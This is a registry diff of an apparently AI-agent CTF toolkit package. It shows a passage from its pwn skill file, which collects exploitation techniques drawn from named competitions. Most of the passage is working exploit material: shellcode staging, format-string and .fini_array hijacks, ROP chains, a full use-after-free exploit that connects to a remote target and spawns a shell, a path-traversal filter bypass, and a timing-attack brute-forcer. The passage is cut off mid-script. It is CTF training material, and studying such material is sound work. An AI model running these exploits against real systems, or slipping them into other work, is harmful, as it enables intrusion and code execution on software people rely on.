ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,773 @@
1
+ # CTF Pwn - Advanced Exploit Techniques
2
+
3
+ ## Table of Contents
4
+ - [VM Signed Comparison Bug (0xFun 2026)](#vm-signed-comparison-bug-0xfun-2026)
5
+ - [BF JIT Unbalanced Bracket to RWX Shellcode (VuwCTF 2025)](#bf-jit-unbalanced-bracket-to-rwx-shellcode-vuwctf-2025)
6
+ - [Type Confusion in Interpreter (VuwCTF 2025)](#type-confusion-in-interpreter-vuwctf-2025)
7
+ - [Off-by-One Index to Size Corruption (VuwCTF 2025)](#off-by-one-index-to-size-corruption-vuwctf-2025)
8
+ - [Double win() Call Pattern (VuwCTF 2025)](#double-win-call-pattern-vuwctf-2025)
9
+ - [DNS Record Buffer Overflow](#dns-record-buffer-overflow)
10
+ - [ASAN Shadow Memory Exploitation](#asan-shadow-memory-exploitation)
11
+ - [Format String with Encoding Constraints + RWX .fini_array Hijack](#format-string-with-encoding-constraints--rwx-fini_array-hijack)
12
+ - [Custom Canary Preservation](#custom-canary-preservation)
13
+ - [Integer Truncation via Order of Operations (CSAW 2015)](#integer-truncation-via-order-of-operations-csaw-2015)
14
+ - [Signed Integer Bypass (Negative Quantity)](#signed-integer-bypass-negative-quantity)
15
+ - [Canary-Aware Partial Overflow](#canary-aware-partial-overflow)
16
+ - [Global Buffer Overflow (CSV Injection)](#global-buffer-overflow-csv-injection)
17
+ - [MD5 Preimage Gadget Construction](#md5-preimage-gadget-construction)
18
+ - [VM GC-Triggered UAF — Slab Reuse (EHAX 2026)](#vm-gc-triggered-uaf--slab-reuse-ehax-2026)
19
+ - [Path Traversal Sanitizer Bypass](#path-traversal-sanitizer-bypass)
20
+ - [Timing Attack for Character-by-Character Flag Recovery (RC3 CTF 2016)](#timing-attack-for-character-by-character-flag-recovery-rc3-ctf-2016)
21
+ - [FSOP + Seccomp Bypass via openat/mmap/write (EHAX 2026)](#fsop--seccomp-bypass-via-openatmmapwrite-ehax-2026)
22
+ - [Motorola 68000 (m68k) Two-Stage Shellcode (HackIT 2017)](#motorola-68000-m68k-two-stage-shellcode-hackit-2017)
23
+ - [DOS COM Real Mode Shellcode (SEC-T CTF 2017)](#dos-com-real-mode-shellcode-sec-t-ctf-2017)
24
+ - [Seccomp BPF X-Register Addressing Mode Bypass (HITCON 2017)](#seccomp-bpf-x-register-addressing-mode-bypass-hitcon-2017)
25
+ - [Custom Printf Format Specifier Arginfo Overwrite (Hack.lu 2017)](#custom-printf-format-specifier-arginfo-overwrite-hacklu-2017)
26
+ - [Game Genie-Style 6-Char Code for Arbitrary Binary Patching (BSidesSF 2019)](#game-genie-style-6-char-code-for-arbitrary-binary-patching-bsidessf-2019)
27
+ - [Go Slice Capacity Aliasing via Struct-by-Value Copy (CONFidence Teaser 2019)](#go-slice-capacity-aliasing-via-struct-by-value-copy-confidence-teaser-2019)
28
+
29
+ For 2018-era data-interpretation exploitation (Chip-8 emulator OOB, double-precision float quicksort canary repositioning, bloom filter abs(INT_MIN) negative index OOB), see [advanced-exploits-5.md](advanced-exploits-5.md).
30
+
31
+ ---
32
+
33
+ ## VM Signed Comparison Bug (0xFun 2026)
34
+
35
+ **Pattern (CHAOS ENGINE):** Custom VM STORE opcode checks `offset <= 0xfff` with signed `jle` but no lower bound check.
36
+
37
+ **Exploit:**
38
+ 1. Negative offsets reach function pointer table below data area
39
+ 2. Build values byte-by-byte in VM memory using VM arithmetic
40
+ 3. LOAD as qwords, compute negative offsets via XOR with 0xFF..FF
41
+ 4. Overwrite HALT handler with `system@plt`
42
+ 5. Trigger HALT with "sh" string pointer as argument
43
+
44
+ **General lesson:** Signed vs unsigned comparison bugs in custom VMs are common. Always check bounds in both directions. Function pointer tables near data buffers = easy RCE.
45
+
46
+ ---
47
+
48
+ ## BF JIT Unbalanced Bracket to RWX Shellcode (VuwCTF 2025)
49
+
50
+ **Pattern (Blazingly Fast Memory Unsafe):** BF JIT compiler uses stack for `[`/`]` control flow. Unbalanced `]` pops values from prologue.
51
+
52
+ **Vulnerability:** `]` (LOOP_END) pops return address from stack. Without matching `[`, it pops the **tape address** which resides in **RWX memory**.
53
+
54
+ **Exploit:**
55
+ ```python
56
+ # Stage 1: Write shellcode to tape via BF +/- operations, then trigger ]
57
+ # Use - for bytes >127 (0xff = 1 decrement vs 255 increments)
58
+ stage1 = b''
59
+ # Build read(0, tape, 256) shellcode on tape
60
+ shellcode_bytes = asm(shellcraft.read(0, 'r14', 256))
61
+ for byte in shellcode_bytes:
62
+ if byte <= 127:
63
+ stage1 += b'+' * byte + b'>'
64
+ else:
65
+ stage1 += b'-' * (256 - byte) + b'>'
66
+ stage1 += b']' # Unbalanced ] jumps to tape (RWX)
67
+
68
+ # Stage 2: Send full execve("/bin/sh") shellcode via stdin after Stage 1 runs
69
+ ```
70
+
71
+ **Identification:** JIT compilers using stack for bracket matching + RWX tape memory.
72
+
73
+ ---
74
+
75
+ ## Type Confusion in Interpreter (VuwCTF 2025)
76
+
77
+ **Pattern (Idempotence):** Lambda calculus interpreter's `simplify_normal_order()` unconditionally sets function type to ABS (abstraction), even when it's a VAR (variable).
78
+
79
+ **Key insight:** VAR's unused bytes 16-23 get interpreted as body pointer. When `print_expression()` encounters type > 2, it dumps raw bytes as UNKNOWN_DATA — flag bytes interpreted as type value trigger the dump.
80
+
81
+ **General lesson:** Type confusion in interpreters occurs when type tags aren't validated before downcasting. Unused padding bytes in one variant become active fields in another.
82
+
83
+ ---
84
+
85
+ ## Off-by-One Index to Size Corruption (VuwCTF 2025)
86
+
87
+ **Pattern (Kiwiphone):** Index 0 writes to `entries[-1]`, overlapping a struct's `size` field.
88
+
89
+ **Exploit chain:**
90
+ 1. Write to index 0 with crafted data to set `phonebook.size = 48` (normally 16)
91
+ 2. `print_all` now dumps 48 entries, leaking stack canary, saved RBP, and libc return address
92
+ 3. Calculate libc base from leaked return address
93
+ 4. Write ROP chain into entries 17-22: `[canary] [rbp] [ret] [pop_rdi] [/bin/sh] [system]`
94
+ 5. Exit with -1 to trigger return through ROP chain
95
+
96
+ **Format trick:** Phone format `+48 0 0-0` doubles as valid phone number AND size overwrite value.
97
+
98
+ ---
99
+
100
+ ## Double win() Call Pattern (VuwCTF 2025)
101
+
102
+ **Pattern (Tokaid):** `win()` has `if (attempts++ > 0)` check — first call increments from 0 (fails), second call succeeds.
103
+
104
+ **Payload:** Stack two return addresses: `b'A'*offset + p64(win) + p64(win)`
105
+
106
+ **PIE calculation:** When main address is leaked: `base = main_leak - main_offset; win = base + win_offset`.
107
+
108
+ ---
109
+
110
+ ## DNS Record Buffer Overflow
111
+
112
+ **Pattern (Do Not Strike The Clouds):** Many AAAA records overflow stack buffer in DNS response parser.
113
+
114
+ **Exploitation:**
115
+ 1. Set up DNS server returning excessive AAAA records
116
+ 2. Target binary queries DNS, copies records into fixed-size stack buffer
117
+ 3. Many records overflow into return address
118
+ 4. Overwrite with win function address
119
+
120
+ ## ASAN Shadow Memory Exploitation
121
+
122
+ **Pattern (Asan-Bazar, Nullcon 2026):** Binary compiled with AddressSanitizer has format string + OOB write vulnerabilities.
123
+
124
+ **ASAN Shadow Byte Layout:**
125
+ | Shadow Value | Meaning |
126
+ |-------------|---------|
127
+ | `0x00` | Fully accessible (8 bytes) |
128
+ | `0x01-0x07` | Partially accessible (1-7 bytes) |
129
+ | `0xF1` | Stack left redzone |
130
+ | `0xF3` | Stack right redzone |
131
+ | `0xF5` | Stack use after return |
132
+
133
+ **Key Insight:** ASAN may use a "fake stack" (50% chance) — areas past the ASAN frame have shadow `0x00` on the real stack but different on the fake stack. Detect which by leaking the return address offset.
134
+
135
+ **Exploitation Pattern:**
136
+ ```python
137
+ # 1. Leak PIE base via format string
138
+ payload = b'%8$p' # Code pointer at known offset
139
+ pie_base = leaked - known_offset
140
+
141
+ # 2. Detect real vs fake stack
142
+ # Real stack: return address at known offset from format string buffer
143
+ # Check if leaked return address matches expected function offset
144
+ is_real_stack = (ret_addr - pie_base) == 0xdc052 # known offset
145
+
146
+ # 3. Calculate OOB write offset
147
+ # Format string buffer at stack offset N
148
+ # Target (return address) at stack offset M
149
+ # Distance in bytes = (M - N) * 8
150
+ # Map to ledger system: slot = distance // 16, sub_offset = distance % 16
151
+
152
+ # 4. Overwrite return address with win() via OOB ledger write
153
+ # Retry until real stack is used (~50% success rate per attempt)
154
+ ```
155
+
156
+ **Single-Interaction Exploitation:** Combine leak + detect + exploit in one format string interaction. If fake stack detected, disconnect and retry.
157
+
158
+ ## Format String with Encoding Constraints + RWX .fini_array Hijack
159
+
160
+ **Pattern (Encodinator, Nullcon 2026):** Input is base85-encoded into RWX memory at fixed address, then passed to `printf()`.
161
+
162
+ **Key insight:** Don't try libc-based exploitation. Instead, exploit the RWX mmap region directly:
163
+
164
+ 1. **RWX region at fixed address** (e.g., `0x40000000`): Write shellcode here
165
+ 2. **`.fini_array` hijack**: Overwrite `.fini_array[0]` to point to shellcode. When `main()` returns, `__libc_csu_fini` calls `fini_array` entries.
166
+ 3. **Format string writes**: Use `%hn` to write 2 bytes at a time to `.fini_array`
167
+
168
+ **Argument numbering with base85:**
169
+ Base85 decoding changes payload length. The decoded prefix occupies P bytes on stack, so first appended pointer is at arg `6 + P/8`. Use convergence loop:
170
+
171
+ ```python
172
+ arg_base = 20 # Initial guess
173
+ for _ in range(20):
174
+ fmt = construct_format_string(writes, arg_base)
175
+ # Pad to base85 group boundary (multiple of 5 encoded = 4 raw)
176
+ while len(fmt) % 10 != 0:
177
+ fmt += b"A"
178
+ prefix = b85_decode(fmt)
179
+ new_arg_base = 6 + (len(prefix) // 8)
180
+ if new_arg_base == arg_base:
181
+ break
182
+ arg_base = new_arg_base
183
+ ```
184
+
185
+ **Shellcode (19-byte execve):**
186
+ ```nasm
187
+ push 0x3b ; syscall number
188
+ pop rax
189
+ cdq ; rdx = 0
190
+ movabs rbx, 0x68732f2f6e69622f ; "/bin//sh"
191
+ push rdx ; null terminator
192
+ push rbx ; "/bin//sh"
193
+ push rsp
194
+ pop rdi ; rdi = pointer to "/bin//sh"
195
+ push rdx
196
+ pop rsi ; rsi = NULL
197
+ syscall
198
+ ```
199
+
200
+ **Why avoid libc:** Base85 encoding makes precise libc address calculations extremely difficult. The RWX region + .fini_array approach uses only fixed addresses (no ASLR, no PIE concerns for the write target).
201
+
202
+ ## Custom Canary Preservation
203
+
204
+ **Pattern (Canary In The Bitcoin Mine):** Buffer overflow must preserve known canary value.
205
+
206
+ **Key technique:** Write the exact canary bytes at the correct offset during overflow:
207
+ ```python
208
+ # Buffer: 64 bytes | Canary: "BIRD" (4 bytes) | Target: 1 byte
209
+ payload = b'A' * 64 + b'BIRD' + b'X' # Preserve canary, set target to non-zero
210
+ ```
211
+
212
+ **Identification:** Source code shows struct with buffer + canary + flag bool, `gets()` for input.
213
+
214
+ ---
215
+
216
+ ## Integer Truncation via Order of Operations (CSAW 2015)
217
+
218
+ Incorrect integer arithmetic ordering causes truncation bugs:
219
+
220
+ ```c
221
+ // Vulnerable: integer division truncates before multiply
222
+ int position = 4 * (ticks / 1000); // 1500 ticks -> 4 * 1 = 4
223
+
224
+ // Correct: multiply first to preserve precision
225
+ int position = (4 * ticks) / 1000; // 1500 ticks -> 6000 / 1000 = 6
226
+ ```
227
+
228
+ This creates an off-by-N error (position overshoots buffer end by 2 bytes), enabling:
229
+ 1. Heap metadata corruption via out-of-bounds write
230
+ 2. Adjacent object pointer overwrite for read/write primitives
231
+ 3. Chain with heap spray for ASLR bypass via information leak
232
+
233
+ **Key insight:** Audit integer expressions where division precedes multiplication -- the truncation gap grows with input magnitude.
234
+
235
+ ---
236
+
237
+ ## Signed Integer Bypass (Negative Quantity)
238
+
239
+ **Pattern (PascalCTF 2026):** Menu program with `scanf("%d")` for quantity. Negative input makes `quantity * price` negative, bypassing `balance >= total_cost` check.
240
+
241
+ ```python
242
+ # Select expensive item (e.g., flag drink costing 1B), enter quantity -1
243
+ # -1 * 1000000000 = -1000000000 → balance (100) >= -1000000000 [OK]
244
+ p.sendline(b'10') # flag item
245
+ p.sendline(b'-1') # negative quantity
246
+ ```
247
+
248
+ ## Canary-Aware Partial Overflow
249
+
250
+ **Pattern (MyGit, PascalCTF 2026):** Buffer overflow where `valid` flag sits between buffer end and canary.
251
+
252
+ **Stack layout:**
253
+ - Buffer: `rbp-0x30` (48 bytes)
254
+ - Valid flag: `rbp-0x10` (offset 32 from buffer)
255
+ - Stack canary: `rbp-0x08` (offset 40 from buffer)
256
+
257
+ **Key technique:** Use `./` as no-op path padding to control input length precisely:
258
+ ```text
259
+ ././././././././././../../../../flag (36 bytes)
260
+ ```
261
+ - `./` segments normalize to current directory (no-op)
262
+ - Byte 32 must be non-zero to set `valid = true`
263
+ - Stay under byte 40 to avoid canary
264
+
265
+ **Exploit chain:**
266
+ 1. `checkout ././././././././././../../../../flag` - reads `/flag` content as "current commit"
267
+ 2. `branch create ././././././././././../../../../tmp/leaked` - writes commit (flag) to `/tmp/leaked`
268
+ 3. `cat /tmp/leaked` - read the exfiltrated flag
269
+
270
+ ## Global Buffer Overflow (CSV Injection)
271
+
272
+ **Pattern (Spreadsheet):** Adjacent global variables exploitable via overflow.
273
+
274
+ **Exploitation:**
275
+ 1. Identify global array adjacent to filename pointer in memory
276
+ 2. Overflow array bounds by injecting extra delimiters (commas in CSV)
277
+ 3. Overflowed pointer lands on filename variable
278
+ 4. Change filename to `flag.txt`, then trigger read operation
279
+
280
+ ```python
281
+ # Edit last cell with comma-separated overflow
282
+ edit_cell("J10", "whatever,flag.txt")
283
+ save() # CSV row now has 11 columns
284
+ load() # Column 11 overwrites savefile pointer with ptr to "flag.txt"
285
+ load() # Now reads flag.txt into spreadsheet
286
+ print_spreadsheet() # Shows flag
287
+ ```
288
+
289
+ ## MD5 Preimage Gadget Construction
290
+
291
+ **Pattern (Hashchain, Nullcon 2026):** Server concatenates N MD5 digests and executes them as code. Brute-force preimages with desired byte prefixes.
292
+
293
+ **Core technique:** Each MD5 digest is 16 bytes. Use `eb 0c` (jmp +12) as first 2 bytes to skip the middle 12 bytes, landing on bytes 14-15 which become a 2-byte instruction:
294
+
295
+ ```c
296
+ // Brute-force MD5 preimage with prefix eb0c and desired 2-byte suffix
297
+ for (uint64_t ctr = 0; ; ctr++) {
298
+ sprintf(msg + prefix_len, "%016llx", ctr);
299
+ MD5(msg, msg_len, digest);
300
+ if (digest[0] == 0xEB && digest[1] == 0x0C) {
301
+ uint16_t suffix = (digest[14] << 8) | digest[15];
302
+ if (suffix == target_instruction)
303
+ break; // Found!
304
+ }
305
+ }
306
+ ```
307
+
308
+ **Building i386 syscall chains from 2-byte gadgets:**
309
+ - `31c0` = `xor eax, eax`
310
+ - `89e1` = `mov ecx, esp`
311
+ - `b220` = `mov dl, 0x20`
312
+ - `cd80` = `int 0x80`
313
+ - `40` + NOP = `inc eax`
314
+
315
+ **Hashchain v1 (JMP to NOP sled):** RWX buffer at `0x40000000` + NOP sled at `0x41000000`. Find MD5 preimage starting with `0xE9` (jmp rel32) that lands in the sled:
316
+ ```python
317
+ # Brute-force: find input whose MD5 starts with E9 and offset lands in NOP sled
318
+ # Example: b"v" + b"G" * 86 → MD5 starts with e9 59 1f 2c → jmp 0x412c1f5e
319
+ ```
320
+
321
+ **Hashchain v2 (3-hash chain):** Store MD5 digests at user-controlled offsets. Build instruction chain:
322
+ - **Offset 0 (jmp +2):** Find input whose MD5 starts with `EB 02` (e.g., `143874`)
323
+ - **Offset 4 (push win):** Find input whose MD5 starts with `68 XX XX XX` matching win() address bytes
324
+ - **Offset 8 (ret):** Find input whose MD5 byte[1] is `C3` (e.g., `5488` → `56 C3`)
325
+
326
+ **Pre-computation approach:** Build lookup table mapping MD5 4-byte prefixes to inputs. At runtime, parse win() address from server banner, look up matching push-hash input.
327
+
328
+ **Brute-force time:** 32-bit prefix match: ~2^32 hashes (~60s on 8 cores). 16-bit: instant.
329
+
330
+ ## VM GC-Triggered UAF — Slab Reuse (EHAX 2026)
331
+
332
+ **Pattern (SarcAsm):** Custom stack-based VM with NEWBUF/SLICE/GC/BUILTIN opcodes. Slicing a buffer creates a shared reference to the same slab. When the slice is dropped and GC'd, it frees the shared slab even though the parent buffer is still alive.
333
+
334
+ **Vulnerability:** `free_data()` called on slice frees the underlying slab pointer that the parent buffer still references → UAF read/write through parent.
335
+
336
+ **Exploit chain:**
337
+ 1. `NEWBUF 24` → allocates 32-byte slab (slab class matches function objects)
338
+ 2. `READ 24` → fills buffer, sets length so SLICE bounds check passes
339
+ 3. `SLICE 0,24` → alias to same slab
340
+ 4. `DROP` + `GC` → frees the slab via slice's destructor
341
+ 5. `BUILTIN 0` → allocates function object, reuses freed 32-byte slab (code pointer at offset +8)
342
+ 6. `WRITEBUF 16,0` → sets parent buffer's length to 16 (no actual write, bypasses bounds)
343
+ 7. `PRINTB` → leaks code pointer from UAF slab → compute PIE base
344
+ 8. `READ 16` → overwrites code pointer with `win()` address
345
+ 9. `CALL` → executes `win()` → `execve("/bin/sh")`
346
+
347
+ ```python
348
+ from pwn import *
349
+ import struct
350
+
351
+ # ULEB128 encoding for VM immediates
352
+ def uleb128(val):
353
+ result = b''
354
+ while True:
355
+ byte = val & 0x7f
356
+ val >>= 7
357
+ if val: byte |= 0x80
358
+ result += bytes([byte])
359
+ if not val: break
360
+ return result
361
+
362
+ # Opcodes
363
+ NEWBUF, READ, SLICE, DROP, GC = b'\x20', b'\x21', b'\x22', b'\x04', b'\x60'
364
+ BUILTIN, CALL, GLOAD, GSTORE = b'\x40', b'\x41', b'\x30', b'\x31'
365
+ WRITEBUF, PRINTB, PUSH, HALT = b'\x25', b'\x23', b'\x01', b'\xff'
366
+
367
+ code = b''
368
+ code += NEWBUF + uleb128(24) + GSTORE + uleb128(0) # buf A in slot 0
369
+ code += GLOAD + uleb128(0) + READ + uleb128(24) # fill to set length
370
+ code += GLOAD + uleb128(0) + SLICE + uleb128(0) + uleb128(24) # slice
371
+ code += DROP + GC # free slab via slice
372
+ code += BUILTIN + uleb128(0) + GSTORE + uleb128(1) # func F reuses slab
373
+ code += GLOAD + uleb128(0) + WRITEBUF + uleb128(16) + uleb128(0) # set len=16
374
+ code += GLOAD + uleb128(0) + PRINTB # leak code ptr
375
+ code += GLOAD + uleb128(0) + READ + uleb128(16) # overwrite code ptr
376
+ code += PUSH + b'\x00' + GLOAD + uleb128(1) + CALL + uleb128(1) # call win
377
+ code += HALT
378
+
379
+ blob = struct.pack('<I', len(code)) + code
380
+ p = remote('target', 9999)
381
+ p.send(blob + b'A'*24) # blob + dummy READ data
382
+ leak = p.recv(16, timeout=5)
383
+ code_ptr = struct.unpack('<Q', leak[:8])[0]
384
+ win_addr = (code_ptr - 0x31d0) + 0x3000 # PIE base + win offset
385
+ p.send(struct.pack('<Q', win_addr) + b'\x00'*8)
386
+ p.sendline(b'cat /flag*')
387
+ p.interactive()
388
+ ```
389
+
390
+ **Key lessons:**
391
+ - **Slab allocator reuse:** Function objects and buffer data share the same slab size class → guaranteed UAF overlap
392
+ - **WRITEBUF length trick:** Setting length without writing data bypasses bounds checks but exposes UAF content
393
+ - **GC as trigger:** Explicit `GC` opcode forces immediate collection → deterministic UAF timing
394
+ - **General pattern:** In custom VMs, look for shared references (slices, views, aliases) where destruction of one frees resources still held by another
395
+
396
+ ---
397
+
398
+ ## Path Traversal Sanitizer Bypass
399
+
400
+ **Pattern (Galactic Archives):** Sanitizer skips character after finding banned char.
401
+
402
+ ```python
403
+ # Sanitizer removes '.' and '/' but skips next char after match
404
+ # ../../etc/passwd -> bypass with doubled chars:
405
+ "....//....//etc//passwd"
406
+ # Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)
407
+ ```
408
+
409
+ **Flag via `/proc/self/fd/N`:**
410
+ - If binary opens flag file but doesn't close fd, read via `/proc/self/fd/3`
411
+ - fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file
412
+
413
+ ## Timing Attack for Character-by-Character Flag Recovery (RC3 CTF 2016)
414
+
415
+ When a server validates input character-by-character with measurable per-character delay, use timing side-channels to brute-force the flag one byte at a time.
416
+
417
+ ```python
418
+ import socket
419
+ import time
420
+ import string
421
+
422
+ def measure_time(host, port, guess):
423
+ """Send guess and measure server response time"""
424
+ s = socket.socket()
425
+ s.connect((host, port))
426
+ s.recv(1024) # banner
427
+
428
+ start = time.time()
429
+ s.send(guess.encode() + b'\n')
430
+ s.recv(1024)
431
+ elapsed = time.time() - start
432
+
433
+ s.close()
434
+ return elapsed
435
+
436
+ flag = "RC3-2016-"
437
+ charset = string.ascii_letters + string.digits + "_-{}"
438
+ THRESHOLD = 0.15 # seconds per correct character (calibrate per target)
439
+ SAMPLES = 3 # average multiple measurements to reduce noise
440
+
441
+ while not flag.endswith('}'):
442
+ best_char = ''
443
+ best_time = 0
444
+
445
+ for c in charset:
446
+ guess = flag + c
447
+ # Average multiple samples to reduce network jitter
448
+ avg_time = sum(measure_time(host, port, guess) for _ in range(SAMPLES)) / SAMPLES
449
+
450
+ if avg_time > best_time:
451
+ best_time = avg_time
452
+ best_char = c
453
+
454
+ if best_time > len(flag) * THRESHOLD:
